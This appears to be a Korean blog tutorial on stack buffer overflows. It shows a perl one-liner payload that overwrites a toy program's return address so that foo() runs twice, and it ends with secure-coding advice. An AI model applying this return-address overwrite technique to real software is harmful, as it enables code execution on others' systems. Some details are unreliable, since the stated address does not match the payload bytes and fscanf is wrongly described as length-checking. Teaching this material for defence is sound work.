(우선 여기서 EBP 레지스터는 크게 중요하지않으므로, EBP 설명은 생략하겠습니다.)



문제는 위에서처럼 함수의 복귀지점 (RET) 부가 "aaaa" 로 뒤덮여버렸기 때문에 발생합니다. 

컴퓨터는 문자열도 결국 숫자로 다루기 때문에 foo() 함수가 끝나고 복귀지점이 0x41414141 ('a' = 0x41) 로 점프를 하게되고, 이주소는 전혀 모르는 주소이기 때문에 프로그램은 오류가 발생하는것입니다.

여기서 우리는 사용자의 입력을 통해서 프로그램의 흐름을 임의로 바꿀수 있다는 힌트를 얻을수 있습니다.

우리의 입력을 통해서 foo() 함수를 2번 출력할수 있을까요??, 네 가능합니다.


간단한 계산이 필요한데, 우선

5바이트의 지역버퍼 및 그위에 EBP의 값 4바이트를 AAAA로 밀어버립니다.

그다음에, 우리가 원하는 다음 실행주소를 입력해주면 되는것입니다.

페이로드는 아래와 같이 계산할수 있습니다.


5(name) + 4(EBP) + RET


우리가 원하는 foo() 함수를 한번더 실행하기 위해 foo() 함수의 주소값을 RET에 넣도록 하겠습니다.

그런데 값을 넣을때는 Intell 구조는 리틀 엔디안 방식을 사용하기 때문에 거꾸로 넣어줘야 합니다.

0x0804874라면 "\x74\x48\x04\x08" 이런식으로요.


perl -e 'print "a"x9,"\x74\x48\x04\x08"' > exploit


으로 파일을 만들어서 

 

./vuler < exploit 


이렇게 실행해주면 됩니다.

foo() 함수가 두번 실행되네요!



이로써 프로그램 사용자의 입력을 통해서, 취약한 프로그램의 임의의 코드루틴을 실행할수 있다는것을 확인하였습니다.

사용자가 임의로 주입한 코드도 실행가능하다는 소리입니다.

악의적인 사용자는 프로그램의 취약점을 파악한뒤, 임의의 악성코드를 입력하여, 실행하는 방법으로 해킹을 합니다.

그렇다면 이러한 취약점을 어떻게 예방할수 있을까요??

네 바로 scanf() 함수대신, 버퍼의 길이를 체크해주는 fscanf(), strcpy() 함수대신 strncpy() 함수를 사용하는 것입니다.

시큐어 코딩가이드 에서는 버퍼의길이를 체크하지않은채 메모리 복사를 진행하는 함수에대해 사용하지 말것을 권고하고있습니다.


신고
Posted by 캐스피


티스토리 툴바